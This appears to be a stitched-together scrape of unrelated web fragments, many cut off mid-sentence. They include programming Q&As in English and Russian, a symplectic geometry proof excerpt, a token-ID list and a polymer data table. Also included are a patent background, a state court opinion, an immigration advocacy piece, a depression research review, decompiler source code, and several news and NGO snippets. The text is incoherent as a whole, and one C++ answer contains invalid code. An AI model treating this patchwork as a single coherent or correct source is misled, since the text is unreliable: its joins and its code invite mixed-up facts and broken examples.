The reason you are getting b'5' when you print b'\x35' is because 0x35 is the hexadecimal representation of the number 5 (in the ASCII encoding). Python just interprets b'\x35' as 5. So when you get b'5' its the exact same thing as b'\x35'. The same goes for any ascii character. For example if I typed in:
print(b'\x61')
I would get a as the output because 0x61 is the ascii code for the letter a. Essentially, b'5' is exactly the same as b'\x35', so nothing needs changing. Just use the value as is, since it will work fine.
Hope this helps!
AboutJumia
Jumia, Nigeria's no. 1 online retailer was established in May 2012 with the aim and vision to become the one-stop shop for retail in Nigeria with implementation of best practices both online and offline. Initially starting with 3 employees, Jumia presently has a staff strength of 1000 young and entrepreneurial Nigerians including our 150 man strong customer service team available 7 days a week. Jumia is the largest online retail store in Nigeria. Deliveries to all 36 states in NigeriaIf you’ve been keeping up with U.S. politics, you know there’s been a lot happening lately. What you definitely missed is H.R.644 going into effect, a.k.a. the Trade Facilitation and Trade Enforcement Act of 2015, a.k.a. the America Gives More Act, what you need to know is in Title IX, Sec. 901 which says the following:
TITLE IX–MISCELLANEOUS PROVISIONS (Sec. 901) It is the sense of Congress that the USTR should encourage other countries to establish commercially meaningful de minimis values for express and postal shipments that are exempt from customs duties and taxes and from certain other entry documentation requirements. This bill amends the Tariff Act of 1930 to increase from $200 to $800 the general de minimis aggregate fair retail value in the country of shipment of duty-free articles imported by one person on one day.
Among other things, the amendments to this bill, signed by President Obama on February 24, 2016, are intended to expand trade. One benefit is that, with a simplified process that lowers the excise tax, more funds can be made available to non-profits.
But, entirely more importantly, you can now buy most of your high end denims from overseas duty free! As most of you know, there aren’t too many Japanese jeans that you can buy for less than $200. It’s a process prohibitive to that artisanal denim life. Now, though, you can take your denim game to the international level (for up to $800) without duties cop-blocking you.
Except for Endrime‘s $1100 handsewn jeans. And Momotaro‘s $2000 handwoven jeans. But if you’re seriously considering either of those jeans, I doubt you’re worried about duties. Aside from those, get your credit cards out, open up a new tab, preferably one that leads to an overseas retailer, and cop yourself a new pair of jeans.Methods for tracking down Lepidopterans to explore through photography
Story and photographs by Dave Huth
I photograph creatures and their environments as a way of exploring and understanding the beauty and complexity of the living world. I began photographing moths and caterpillars after explaining to my then-7-year-old daughter how her grandfather first got me interested in nature. My Dad is an amateur Lepidopterist who introduced me to these weird and secretive creatures when I |
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] | 0,2\pi\}$ later. When $l=-1$ the domain is the one from the definition of ${\mathcal{M}}^\gamma(x;x_0)$ we have just recalled. When $l\in (-1,0)$, the domain is the same disk with two additional interior marked points whose position is determined by the parameter $l$: the first point lies on the line segment $[0,t]$, the second one lies on the line segment $[0,1]$, and both points have distance $1+l$ from $0$. When $l=0$, the domain consists of the principal disk with marked points $0,1,t$, and two bubble disks attached to the principal disk at points $1$ and $t$. The first bubble disk has marked points $0,1$ and a boundary puncture at $-1$, the second one has marked points at $0,-1$ and a boundary puncture at $1$. When $0<l<\infty$, the domain contains the same three disks, now disjoint from each other, plus two line segments of length $l$ connecting the bubble disks to the principal one along the boundary marked points at which the disks used to be attached to each other. When $l=\infty$, we replace each line segment by two rays $[0,+\infty)\sqcup (-\infty,0]$.
When $s=0$ or $s=2\pi$, the domains obtain extra bubbles as those discussed above in the definition of ${\mathcal{M}}^\gamma(x;x_0)$, which correspond to the parameter $t=e^{is}\in S^1$ approaching $1\in S^1$ from the two sides. These domains are shown on Figure \[fig:Circle\_Bubbles\]: as $l$ goes from $-1$ to $0$, the two interior marked points move along the punctured paths. Observe that these points are crossing the node between the two disks at some intermediate value of $l$; this does not cause any difficulty with the definitions because these marked points are unconstrained and are only used to represent varying perturbation data consistent with the types of bubbling we prescribe on the figures. We will soon mention what these varying data are in terms of stretching certain strips on a fixed disk. When $l>0$, the length of the paths equals $l$. When $l=\infty$, one introduces broken lines $[0,+\infty)\sqcup (-\infty,0]$ as above.
![The domains for $s\in \{0,2\pi\}$, $l\in [-1,\infty]$.[]{data-label="fig:Circle_Bubbles"}](Fig-Circle_Bubble.eps)
Having specified the domains, we briefly explain how to equip the disks with suitable perturbed pseudo-holomorphic equations, and line segments with suitable gradient equations to get a moduli space of solutions. When $l=-1$, we choose the equations defining ${\mathcal{M}}^\gamma(x;x_0)$ as discussed above, which is consistent with bubbling at the unpunctured point as $s\to 0$ or $s\to 2\pi$. When $-1<l<0$, we choose the equations with the same properties as for ${\mathcal{M}}^\gamma(x;x_0)$, which are additionally constistent with bubbling at unpunctured points as $l\to 0$. When $l\ge 0$, we choose the equation on the disk with an input puncture to be the $\gamma_t$-pullback of the one appearing in the definition of the PSS map $\Psi$, and the equation on the disk with an output puncture to be exactly the equation from the PSS map $\Phi$. On the line segments and rays, the equation is the gradient equation of $f$ or its pullback by $\gamma_t$, as shown on Figure \[fig:loop\_morse\]. On all disks without boundary punctures, we require the perturbation to vanish, which makes these disks constant, since they have Maslov index 0. (This can be made compatible with gluing, like in the case $s\to 0,2\pi$ discussed in Step 1, and it is not hard to see that the freedom to vary $f$ is enough to achieve regularity of solutions. We will later explain in a bit more detail why the configurations are regular for $l=\infty$.) When $s=0$ and $l<0$, we require the perturbation data on the twice-punctured disk on Figure \[fig:Circle\_Bubbles\](a) to be obtained by $\pi$-rotation from the perturbation data on the similar disk for $s=2\pi$ (and the same parameter $l$), if we identify the two punctures with points $1,-1$ of the unit disk. When $s=0$ and $l\ge 0$, we make a similar symmetric choice.
Finally, if $x$ is a generator of $CF^1(L,L)$, we specify that the input puncture must be asymptotic to the $\gamma_t$-pullback of $x$ (as usual, if $x$ is a linear combination of generators, we take the disjoint union of the relevant moduli spaces). The output puncture must be asymptotic to the unique generator $x_0\in CF^0(L,L)$. When $l=\infty$, the first pair of rays on Figure \[fig:loop\_morse\](e) must be asymptotic to a point $p$ such that $\gamma_t^{-1}(p)\in C^1(L)$ (that is, $p$ is an index 1 critical point of $f\circ \gamma_t$) and the second pair of rays must be asymptotic to $q\in C^0(L)$; we assume $q$ is the unique minimum of $f$. The interior marked points on the disks are unconstrained.
The moduli space over the two-dimensional family of domains we have just specified is 1-dimensional, by our choice of indices, and its boundary consists of:
- solutions whose domains have parameter $l=-1$ or $l=\infty$,
- solutions whose domains have parameter $s=0$ or $s=2\pi$.
We claim that solutions of the second type cancel pairwise. Indeed, recall that the disks without boundary punctures on Figures \[fig:Circle\_Bubbles\](a)–(d) are constant, and the perturbation data on the punctured disks for $s=0,2\pi$ are chosen in a way to provide the same solutions, after a $\pi$-rotation on each disk. Let us describe more explicitly what happens when $l<0$, as the case when $l\ge 0$ is clear enough from Figures \[fig:Circle\_Bubbles\](c),(d). We can represent the domains shown on Figure \[fig:loop\_morse\](a), with free $l<0$ and free small $s>0$, where $t=e^{is}$, by a disk with fixed boundary punctures, stretched with length parameters $-1/l$ and $1/s$ along the three strips shown on Figure \[fig:two\_stretches\_bubble\](a). The stretching procedure was described earlier, and our choice of perturbation data says that the stretched strips, and the sub-domain left of the $1/s$-strip, carry an unperturbed pseudo-holomorphic equation. So for $s=0$ we get the disks shown on Figure \[fig:two\_stretches\_bubble\](b), with the unpunctured boundary marked point attached to a constant disk, which means this boundary marked point unconstrained. (As usual, the domain is considered up to complex automorphisms, so the unconstrained point does not prevent us from having rigid solutions.) This way, Figures \[fig:Circle\_Bubbles\](a) and \[fig:two\_stretches\_bubble\](a) are drawings of the same configuration, for any $l<0$. If we rotate the disk on Figure \[fig:two\_stretches\_bubble\](b) by $\pi$, we will get precisely the disk with perturbation data we would have got for $s=2\pi$, except that the boundary marked point is on the different side of the boundary. But since that point is unconstrained, its position does not actually matter, and for $s=0,2\pi$ we get a pair of the same solutions.
![Left: the domains for $l<0$, $s>0$ seen as a fixed disk with three stretched strips. Right: the same domains for $s=0$ when the principal disk is constant.[]{data-label="fig:two_stretches_bubble"}](Fig-Two_stretches_bubble.eps)
The pairs of solutions with $s=0,2\pi$ contribute with different signs because they correspond to the opposite sides of the boundary of the moduli space of domains. The outcome is that the count of configurations on Figure \[fig:loop\_morse\](a), i.e. $\sharp{\mathcal{M}}^\gamma(x;x_0)$, equals the count of configurations on Figure \[fig:loop\_morse\](e), and it remains to compute the latter.
### Step 3. A Morse-theoretic computation {#step-3.-a-morse-theoretic-computation .unnumbered}
Let us look at Figure \[fig:loop\_morse\](e). Recall that $q\in L$ is the minimum of $f$, so the |
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3343,
1919,
846,
247,
5080,
4804,
387,
253,
33411,
273,
253
] | -fn"} Tensile strength/MPa [b](#tfn6-ijms-12-05490){ref-type="table-fn"} Water contact angle/° [c](#tfn7-ijms-12-05490){ref-type="table-fn"}
------- ------------------------------------------------------ ----------- -------------------------------------------------- ----------- ------------------------------------------------------------------- ---------------------------------------------------------------------- -------------------------------------------------------------------- ---------------------------------------------------------------------
1 PEEU(6) \- 70 [a](#tfn5-ijms-12-05490){ref-type="table-fn"} 87 87 527 17.8 75.6
2 PEEU(8) \- 60 [a](#tfn5-ijms-12-05490){ref-type="table-fn"} 79 56 404 13.2 71.7
3 PEU(8) \- 87 116 90 677 26.8 83.8
4 PEU(10) \- 85 114 87 738 28.1 84.0
5 PEU(12) \- 86 112 91 860 33.2 84.2
6 PEDU \- 123 132 147 639 35.1 85.9
7 PDEU \[[@b13-ijms-12-05490]\] −33 \- 42 29 1,383 11.1 85.0
8 LLDPE \[[@b26-ijms-12-05490]--[@b28-ijms-12-05490]\] −128 111 126 129 1,104 19.1 102.0
9 TPU~MDI-PEA-EG~ \[[@b29-ijms-12-05490]\] \- \- 195--248 \- 425 47 \-
*T*~c~ was collected in a cooling after a first heating;
Cross-head speed: 30 mm·min^−1^;
Control: slide glass; 47.2°.
Many products are manufactured from elongated sheet or stock material that is shipped and stored in the form of a roll or coil. Continuous strips or webs of thin, flexible material are commonly provided wound on cores to provide rolls of sheet material. The rolls of sheet material are subsequently unwound for production of items made from the materials. Examples of these materials are plastic film, metal foil, tissue and paper.
During the manufacture of products using the sheet material, the sheet or stock material is unwound from the core. If the outer surface of the roll of sheet material is damaged or unusable, the outer surface of material must be removed to expose fresh new material. After the sheet material is unwound, remnants of material remain on the cores of the rolls. In order to properly recycle and use the cores, the remnants of material must be cleaned off the core and the core must be inspected for any damage which would make the core unusable.
Such cores are valuable, particularly, if they can be recycled or reused. In paper product manufacturing, it is commonplace for there to be a large number and variety of cores containing various types of sheet materials. If the cores were to be disposed of instead of recycled, they would create costly, both economically and environmentally, waste. Thus, the sheet material manufacturing industry is searching for a way to quickly and inexpensively clean and recycle used cores.
One common methodology employs operators, located at a core cleaning station or at the end of the manufacturing line yielding a sharp cutting blade to cut the remaining sheet material from the core. This practice is unacceptable on multiple levels. If care is not used, the sharp cutting blades will score the surface of the core, turning it into scrap. Further, there have been numerous incidents of operators injuring themselves and others with the sharp cutting blades.
Another solution is provided in U.S. Pat. No. 4,298,173. The '173 patent discloses an apparatus for unwinding a material web wherein the leading edge of the web is grabbed by nip rollers which serve to unwind the remaining web from the core as the core is being rotated. The remaining web is then disposed of for further processing and the core is sent to a core storage area. It has been observed that apparatus such as that shown in the '173 patent demand continuous operator interface to ensure the remaining material web is successfully removed from the core.
Another proposed solution for the cleaning of cores of rolls of material is provided in U.S. Pat. No. 7,717,147. The '147 provides an apparatus having a stripper means comprising rollers for rotating the cores and nip rollers for catching a free end of the remaining material on each used core and a pull means for pulling the remaining material off each used core. The apparatus further includes a cleaning means for cleaning the used cores after it has been treated by the stripping means and an adhesive applicator for applying adhesive to the used cores whereby the used cores are then ready for reuse as refurbished cores for new rolls of material. The '147 apparatus suffers from the same deficiency as the '173 apparatus in that it requires operator interface to ensure that the remaining material is freely and clearly cleaned off each used core.
The present invention provides an apparatus for the robotic and automatic cleaning of used cores.Q:
doubts about incrementation of array pointer
Here I'm getting the output 'bcde' but since 'a' is a constant array pointer it should not have been incremented inside fun() right? Then why is it allowed here?
void fun(char a[])
{
a++;
printf("%s",a);
}
void main()
{
char a[]="abcde";
fun(a);
}
A:
When you pass an array to a function in C, the array "decays" to a pointer. In other words, an equivalent function can be declared like this:
void fun(char *a)
Now the code inside the function makes perfect sense: the pointer is incremented, so when the result is passed to printf, the original string is printed starting with the second letter.
We noticed that you're using an unsupported browser. The TripAdvisor website may not display properly. We support the following browsers:
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New!Find and book your ideal hotel on TripAdvisor — and get the lowest prices
This is the House of Wine for the Chinon area and the top vintner's products are very nice represented and are available for purchase. Selected local wines are available for sampling & you gain information about which wineries you may wish to visit. A Must Do if you enjoy wine. ...
..... this is were you want to do some serious buying.
The 'Maison du vin' in the Loire ( I know four: Angers, Tours, Bourgueil, and the one we are talking about) have a simple mission: out of hundreds of wine makers, do a serious tasting by seasoned tasters, select the top 25 and offer them to us, the buyers....
More
If the wine house as wine inside the certainly don't want to let visitor enjoy it too much as they only have two type of wine open per week. If you want something different they simply send you to the winery. Poor service and not really welcoming.
* TripAdvisor LLC is not a booking agent and does not charge any service fees to users of our site... (more)
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Google Chrome.
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TripAdvisor LLC is not responsible for content on external web sites. Taxes, fees not included for deals content..- During a holy hour Monday morning, two survivors of clerical sexual abuse spoke to the U.S. Conference of Catholic Bishops about their experiences, and their hopes for the future of the Church.
One survivor, Luis Torres, asked the bishops to make changes to ecclesial policies and culture that might ensure that sexual abuse or coercion by anyone in the Church, including bishops, is put to an end.
"I ask,” he pled, “that you inspire me and our community to faith and hope through your courage and your action, which is needed right now. Not in 3 months. Not in 6 months. Yesterday.”
The bishops had intended to take action at their fall meeting this week, voting on two policies they hoped would address the Church’s sexual abuse crisis: a code of conduct for bishops, and the creation of a lay-led panel to investigate claims of misconduct or negligence by bishops. Those policies were not without critics, but it seemed clear that the bishops, and conference administrators, viewed them as a necessary means of showing their commitment to reform.
But as the meeting began, Cardinal Daniel DiNardo, president of the USCCB, announced that the Holy See had insisted that the bishops not vote on their own proposals, and instead wait until after a February meeting at the Vatican of the |
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] | , and the amendment thereto, facts showing an obstruction by defendant of a subterranean stream flowing through their *647 lot, causing such stream to back up on their premises resulting in damage to their house. Defendant contends that the demurrer ore tenus filed in this Court should be sustained, for the reason that their complaint, and the amendment thereto, "fails to allege that defendant had any knowledge of an underground stream running through its land or that any underground stream could be ascertained from surface indications."
The function of a complaint is to state in a plain and concise manner the material, essential or ultimate facts which constitute the cause of action, but not the evidence to prove them. G.S. § 1-122, subd. 2; Parker v. White, 237 N.C. 607, 75 S.E.2d 615. It is not necessary to plead the law. The law arises upon the facts alleged, and the court is presumed to know the law. McIntosh, N.C.Practice & Procedure, 2d Ed., p. 528. Plaintiffs are not required to allege in their complaint, and the amendment thereto, the legal definition of a subterranean stream. Construing the complaint, and the amendment thereto, liberally with a view to substantial justice between the parties, as we are required to do by G.S. § 1-151, it is our opinion, that though inartistically drafted and confused, the complaint, and the amendment thereto, suffices in stating facts sufficient to constitute a cause of action for the obstruction of a subterranean stream, and also for the obstruction of percolating water in negligently failing to use reasonable care to provide adequate drainage for percolating water under the doctrines of reasonable use and correlative rights, which we adopted in Rouse v. City of Kinston, supra. The demurrer ore tenus filed in this Court and a similar demurrer ore tenus filed in the trial court were properly overruled.
Defendant assigns as error the denial of its motion for judgment of nonsuit, renewed at the close of all the evidence. Plaintiffs have no evidence showing damage by surface water: their evidence shows damage by subterranean water. The case was tried on the theory as to whether or not defendant wrongfully obstructed a subterranean stream or streams, and on the motion for judgment of nonsuit it is briefed on that theory.
In considering plaintiffs' evidence and so much of defendant's evidence, if any, favorable to them (Polansky v. Millers' Mutual Fire Insurance Ass'n, 238 N.C. 427, 78 S.E.2d 213) as to a subterranean stream, it is well settled law that all underground waters are presumed to be percolating, and to overcome this presumption the burden of proof rests upon the plaintiffs, who contend that defendant wrongfully obstructed a subterranean stream or streams, to show the existence of a stream or body of water flowing in fixed or definite channels, the location of which is known or ascertainable by men of ordinary powers and attainments from surface indications or other means without excavations for that purpose or without having recourse to "abstruse speculations of scientific persons." 56 Am.Jur., Waters, Sec. 103; 93 C.J.S. Waters § 87; Thompson on Real Property, Per.Ed., Vol. I, p. 85; Tiffany on Real Property, 3rd Ed., Vol. III, p. 180; Gould on Waters, 3rd Ed., p. 557; Clinchfield Coal Corp. v. Compton, supra.
Plaintiffs' evidence shows there was nothing on the surface of the ground to indicate a subterranean stream, except at the entrance of a stream in a manhole. Plaintiffs' evidence as to a subterranean stream is based upon "the abstruse speculations" of its witness Henry Griset, a civil and mechanical engineer, who testified he knew nothing of the depth or width of the stream, or where it originates or terminates, and who solely bases his opinion and the drawing of the subterranean stream on his plat, Plaintiffs' Exhibit 1, "upon some water that I observed at this point and at this point and in the manhole taken in connection with the contour of the land." From the evidence offered by plaintiffs men of ordinary powers and attainments could not know or could not with reasonable diligence ascertain that the water was a subterranean *648 stream flowing in fixed or definite channels without opening the ground for excavations or having recourse to "abstruse speculations of scientific persons." Plaintiffs have no proof that the subterranean waters were other than percolating waters. However, plaintiffs' evidence, considering it in the light most favorable to them and giving to them every legitimate inference to be drawn therefrom, does tend to show a negligent obstruction of percolating waters, and that suffices to overcome defendant's motion for judgment of nonsuit, and the case should have been submitted to the jury on that theory.
When a case has been tried under a misapprehension of the pertinent principles of law and of the facts, the verdict and judgment will be vacated and a new trial ordered. Caddell v. Caddell, 236 N.C. 686, 73 S.E.2d 923; Universal C. I. T. Credit Corp. v. Saunders, 235 N.C. 369, 70 S.E.2d 176; Coley v. Dalrymple, 225 N.C. 67, 33 S.E.2d 477. Therefore, the verdict and judgment will be vacated, and a new trial is ordered.
New trial.
Ceiling fans and lights
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All photos ceiling fans and lights - taken from open sources, if You want to buy one of these lamps, click on the banner to buy.September 20, 2007
Final Commission Check?
Great news! My wife received a final commission check from her old company today for $1,057.94. The first thing we did was log onto Vanguard and contribute another $300 to her Roth IRA , which completes her contributions for 2007 ($4,000 total). We also paid off the $377.74 air conditioner that we purchased earlier this month on our cash rewards credit card. The remainder of the check will be deposited into our saving account at the end of the month.
The good news continues. This is not actually be her final commission check from her old company. Her records indicated that three commissions were not included in the check. She called her old company and determined that these jobs are scheduled to be completed this month, so she will be paid commissions on them next month. She estimates that next months commission check from them will be $799.09.A well-financed coalition of cheap labor interest groups is trying to persuade the GOP to cave on amnesty for illegal aliens. This coalition of libertarian and business front groups is simultaneously attacking supporters of immigration enforcement, and attempting to make a case that pandering to the illegal alien and business lobbies is the Republican Party’s only hope for political survival.
The cheap labor coalition’s strategy is to package their plan as the “conservative agenda” for immigration reform. In reality, it is a radical agenda for the demise of the American middle class. To achieve this, they are prepared to engage in ad hominem attacks against anyone whom they perceive to be standing in their way.
The libertarian/cheap labor agenda for immigration reform would ultimately lead to lower wages for many American workers, greater burdens on government services, higher taxes for those who continue to earn enough money to pay taxes, and no end to illegal immigration.
Amnesty would allow current illegal aliens to compete for virtually all U.S. jobs, not just those offered by employers prepared to break the law.
Expanded guest worker programs would allow business interests even greater latitude to bypass American workers, or force American workers to accept lower wages.
Expanded employment-based immigration, without elimination of family chain migration policies, would further undermine job opportunities and wages for American workers.
Amnesty would result in higher taxes, not lower taxes. A new estimate by Republican staff members on the Senate Budget Committee estimates that amnesty would increase the already staggering cost of Obamacare by as much as $300 billion over the next decade.
Libertarian/cheap labor interests oppose meaningful employment verification. Even if it were included in an amnesty and guest worker bill, they would work to impede or delay implementation of a universal work eligibility system as they have done in the past.
Even under their best case scenario, mass amnesty would result in less than a 1 percent increase in GDP. But that extremely modest growth in GDP (if it were to occur) would further exacerbate the hollowing out of the American middle class.
In an effort to promote their own narrow agenda, the libertarian/cheap labor lobby is falsely arguing that opposition to mass amnesty and increases in immigration is the single greatest impediment to Hispanics voting for Republicans. All polling of Hispanic voters indicates that jobs and the economy are the critical issues that drive Hispanic voters and that immigration ranks far down on their list of concerns. Republican support for the libertarian/cheap labor lobby’s agenda on immigration would do nothing to attract Hispanic voters to the party.
Absent any compelling arguments to justify their immigration agenda, the libertarian/cheap labor lobby is employing the age-old tactic of attacking and smearing those who have effectively rebutted their arguments. Advocates for true immigration reform and immigration enforcement have only one |
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] | (\[[@ref59]\], controlled trial). The remaining multi-component trial found no effect of a complex intervention incorporating an ISG component for rural-residing women with a chronic illness (\[[@ref56]\], RCT). This study found that an intensive intervention involving peer-to-peer online support, expert-facilitated online group discussion, and online expert advice resulted in no greater reduction in depression than an information intervention alone or no intervention \[[@ref56]\]. The 11 non-experimental studies identified investigated the relationship between chatroom (unspecified) use and depression, and most used a cross-sectional design. The findings were mixed. In summary, studies published since mid-2007 shed little additional light on the effectiveness of ISGs in reducing depressive symptoms and provide no further evidence concerning the efficacy of depression ISGs.
Conclusions
-----------
There is a need for high-quality research to investigate the effect of ISGs on depression outcomes. We acknowledge that there are significant challenges associated with designing and undertaking efficacy studies of ISGs. We acknowledge too that the appropriateness and feasibility of conducting such research on online self-help groups have been questioned \[[@ref68]\]. However, we believe that creative researchers, together with consumers, can find a way to shed further light on an issue of unquestionable practical significance for millions of consumers worldwide.
KG is supported by NHMRC Fellowship 425413, AC is supported by NHMRC Capacity Grant No 418020, and MB is supported by an Australian Rotary Health Ian Scott PhD Scholarship. KG conceived the project, designed the study, rated the abstracts, undertook the statistical analyses, and drafted the paper. AC designed the search terms; identified, screened, and rated the abstracts; and edited the paper. MB screened abstracts and edited the paper. Ada Tam provided editorial assistance.
None declared.
ISG
: Internet support group
ITT
: intent to treat
RCT
: randomized controlled trial
PsicquicGraph
PsicquicGraph, a BioJS component to visualize molecular inteactions from PSICQUIC servers. PsicquicGraph is freely available at the BioJS Registry for download and enhancement. Instructions on how to use the tool are available here http://goo.gl/kDaIgZ and the source code can be found at http://github.com/biojs/biojs and DOI:10.5281/zenodo.7709Q:
Как заполнить по умолчанию динамический массив?
Приветствую господа! Есть некая структура Film и 2 массива: test и VideoArr (статичный и динамичный). Заполнить по умолчанию test можно без проблем. А вот как заполнить по умолчанию динамический массив VideoArr?
Пробовал такой вариант:
//VideoArr[0].genre="test";
//VideoArr[0].rating=7.3;
//VideoArr[0].price=58.5;
Числовые значения записываются нормально, а вот если в жанр записывать "test" компилятор ругается.
От сюда вопрос, как будет наиболее правильно заполнить динамический массив строками по умолчанию?
#include <iostream>
using namespace std;
struct Film
{
char name[50];
char producer[50];
char genre[30];
float rating;
float price;
};
int size=10;
Film test[10]={{"mars", "petia", "fantastika" ,11.5,5},{"terminator", "cameron", "fantastika" ,10.1,5}};
Film *VideoArr= new Film[size];
...
A:
Вы используете статический инициализатор. В вашем случае (Си-стиль) можно обращаться непосредственно к полям. Возможно, есть смысл написать отдельную функцию CreateFilm():
const int size=10;
Film **ptrTest = new *ptrTest[size];
for (int i=0; i<size; ++i)
{
CreateAndInitFilm(&ptrTest[i]);
}
...
// Использование
...
for (int i=0; i<size; ++i)
{
ReleaseFilm(&ptrTest[i]);
}
delete [] ptrTest;
void CreateAndInitFilm(Film **outPtr)
{
(*outPtr) = new Film;
strcpy((*outPtr)->name,"mars");
strcpy((*outPtr)->producer,"petia");
strcpy((*outPtr)->genre,"fantastika");
(*outPtr)->rating = 11.5;
(*outPtr)->price = 5;
}
void ReleaseFilm(Film **outPtr)
{
delete (*outPtr);
(*outPtr) = nullptr;
}
В случае с С++ стоило бы воспользоваться конструктором по умолчанию.
A:
Вы путаете инициализацию с присваиванием. Нельзя напрямую присвоить в char[] строку через двойные кавычки вот почему:
char test[]="LOL"; //<- инициализация
test = "NEW LOL";//нельзя присваивать строковый литерал указателю, так как test - указатель на первый символ, а сама строка - массив символов.
В Вашем случае:
Film test[10]={{...}}//инициализация, где с фигурных скобок идек блок инициализаторов, потому прекрасно работает
Чтобы присвоить char * строку в двойных кавычках (строковый литерал) используйте функцию из string.h - strcpy или её модификации
/*
* Copyright (c) 2018 Trail of Bits, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <gflags/gflags.h>
#include <glog/logging.h>
#include "rellic/AST/CondBasedRefine.h"
#include "rellic/AST/Util.h"
namespace rellic {
namespace {
using IfStmtVec = std::vector<clang::IfStmt *>;
static IfStmtVec GetIfStmts(clang::CompoundStmt *compound) {
IfStmtVec result;
for (auto stmt : compound->body()) {
if (auto ifstmt = clang::dyn_cast<clang::IfStmt>(stmt)) {
result.push_back(ifstmt);
}
}
return result;
}
} // namespace
char CondBasedRefine::ID = 0;
CondBasedRefine::CondBasedRefine(clang::ASTContext &ctx,
rellic::IRToASTVisitor &ast_gen)
: ModulePass(CondBasedRefine::ID),
ast_ctx(&ctx),
ast_gen(&ast_gen),
z3_ctx(new z3::context()),
z3_gen(new rellic::Z3ConvVisitor(ast_ctx, z3_ctx.get())),
z3_solver(*z3_ctx, "sat") {}
bool CondBasedRefine::Prove(z3::expr expr) {
z3::goal goal(*z3_ctx);
goal.add |
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] | on a 19" rim and has 779 revolutions per mile. It weighs 25 lbs, has a max load of 1653 lbs, a maximum air pressure of 50 psi, a tread depth of 10/32" and should be used on a rim width of 8-9.5".carrier drug testing
A bill introduced this week into the House would force the U.S. Department of Transportation's hand on making carriers use hair samples to test truckers for drug use as opposed to urine samples if made law.Facebook founder and CEO Mark Zuckerberg speaks during the 2013 TechCrunch Disrupt conference on September 11, 2013 in San Francisco, California. The TechCrunch Disrupt Conference runs through September 11. Justin Sullivan/Getty Images
Once again, Facebook is under fire for its role in the spread of fake news reports.
This time, the social network helped publicise an incorrect news story claiming that Bangkok had been "rock[ed]" by an explosion, promoting the report using its Safety Check feature — a tool that allows users to publicly mark themselves safe in the event of a natural disasters, terrorist attacks, and other incidents.
The tool, which has previously been used in the aftermath of the Paris terror attacks and the Nepalese earthquake, was activated on December 27 after a protest at a government building, and labelled "The Explosion in Bangkok, Thailand."
At the top of the links section, it promoted a news article about an explosion at a Hindu shrine in the city, according to a screenshot captured by Channel NewsAsia journalist Saksith Saiysasombut. But Quartz reports that the explosion the article referred to actually happened in 2015, and the article has since been deleted.
A Facebook spokesperson told Business Insider that Safety Check was not activated by the fake news story (contrary to Saiysasombut's suggestion). Instead, they said it was triggered due to a protester who threw firecrackers at a government building: "Safety Check was activated today in Thailand following an explosion. As with all Safety Check activations, Facebook relies on a trusted third party to first confirm the incident and then on the community to use the tool and share with friends and family."
No-one was injured in the protest, according to a report from Bangkok Post. It's not clear how many people saw the incorrect news story as a result of Facebook's actions, and the social network did not immediately provide clarification.
Facebook has faced scrutiny in recent months over its role in the spread of fake and fraudulent news stories. The social network and its CEO, Mark Zuckerberg, were initially dismissive of allegations that fake news may have influenced people's decisions in the US presidential election, but it now professes to take the issue more seriously. Facebook will now label and fact-check fake news with the help of third-party partners like Snopes, the site says.Today's delightful dumbness: a re-cut video of Star Trek: The Next Generation (primarily featuring Data) set to Weird Al's "White and Nerdy." Given the song's many references to Star Trek, computers, and general nerd stuff, it works beautifully. This is basically a "Best of Brent Spiner" reel. Enjoy, nerds (and Spiner Femmes).Since 1985, CCAP has been a recognized world leader in climate and air quality policy and is the only independent, nonprofit think tank working exclusively on those issues at the local, U.S. national and international levels. Learn More »
Welcome to 2020: a pivotal year for countries to substantially ratchet up their ambition under the Paris Agreement. Under the “ratchet mechanism” (illustrated below) countries are expected to submit new or updated Nationally Determined Contributions (NDCs) that represent a progression compared to the commitments they made in 2015.
Despite COP25 failing to deliver its main objectives, something good came out from Madrid. While outside of the scope of the climate negotiations, the Santiago Action Plan was launched by the Coalition of Finance Ministers for Climate Action during the Green Finance Day at COP25. The Santiago Action Plan represents a key step to accelerate... continue reading »
Presenting a “virtual pilot” between Sweden and Chile As showcased in the Nordic Pavilion at COP25 in Madrid, the Swedish Energy Agency and Chile’s Ministry of Energy have worked together to advance an example of a high integrity Article 6 cooperation. With support from CCAP, the virtual pilot is designed to promote higher ambition by... continue reading »
Action is Possible Even as We Wait for Rules After more than 2 weeks, negotiators at COP25 were unable to advance robust rules for carbon markets that meet the Paris Agreement goal of limiting temperature increases to well below 2°C. While many negotiators argued for a path forward premised on strong ambition, in the end,... continue reading »
Sometimes we miss good news, even in fighting climate pollution (where good news isn’t very common). This is even more likely if the good news is from a place where common misperceptions suggest that there won’t be good news. For example, did you know that Nigeria has dramatically reduced natural gas flaring? Nigeria is the... continue reading »
[Vea abajo para leer en español] In a display of strong climate leadership, Chile announced this week the close of eight coal power plants over the next 5 years. This landmark announcement falls within Chile’s more ambitious plan of completely phasing out coal plants by 2040 and achieving carbon neutrality by 2050. This ambitious step... continue reading »Cases
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Yale University censored images of Mohammed in author Jytte Klausen’s book, The Cartoons That Shook the World, which discusses the controversy and violence that resulted from the publication of cartoons of Mohammed in a Danish newspaper in 2005. The book, published by the Yale University Press in fall 2009, was to contain images of the cartoons and other images of Mohammed. However, Yale University intervened in the editorial process of its Press, submitted the cartoons out of context to a group of anonymous consultants and, relying on their opinions, decided to remove the cartoons from the book. Despite much criticism of the university’s decision to override academic freedom and avoid controversy, Klausen’s book was published without any of the images.
Academics’ commitment to free expression shouldn’t be put on hold because of the threat of violence, according to a joint statement issued Monday by a coalition of academic and civil liberties groups. “The failure to stand up for free expression emboldens those who would attack and undermine it,” says the statement. “It is time for colleges and universities in particular to exercise moral and intellectual leadership. It is incumbent on those responsible for the education of the next generation of leaders to stand up for certain basic principles: that the free exchange of ideas is essential to liberal democracy; that […]
Today my organization, the Foundation for Individual Rights in Education (FIRE), is proud to join a broad coalition criticizing Yale University’s decision to censor the Muhammad cartoons from a book about the cartoons. The statement is included in Duke University Professor Gary Hull’s new book Muhammad: The “Banned Images”–which prints the censored images and many more. Read the full text of the statement below. Statement of Principle Free Expression at Risk, at Yale and Elsewhere A number of recent incidents suggest that our long-standing commitment to the free exchange of ideas is in peril of falling victim to a spreading […]
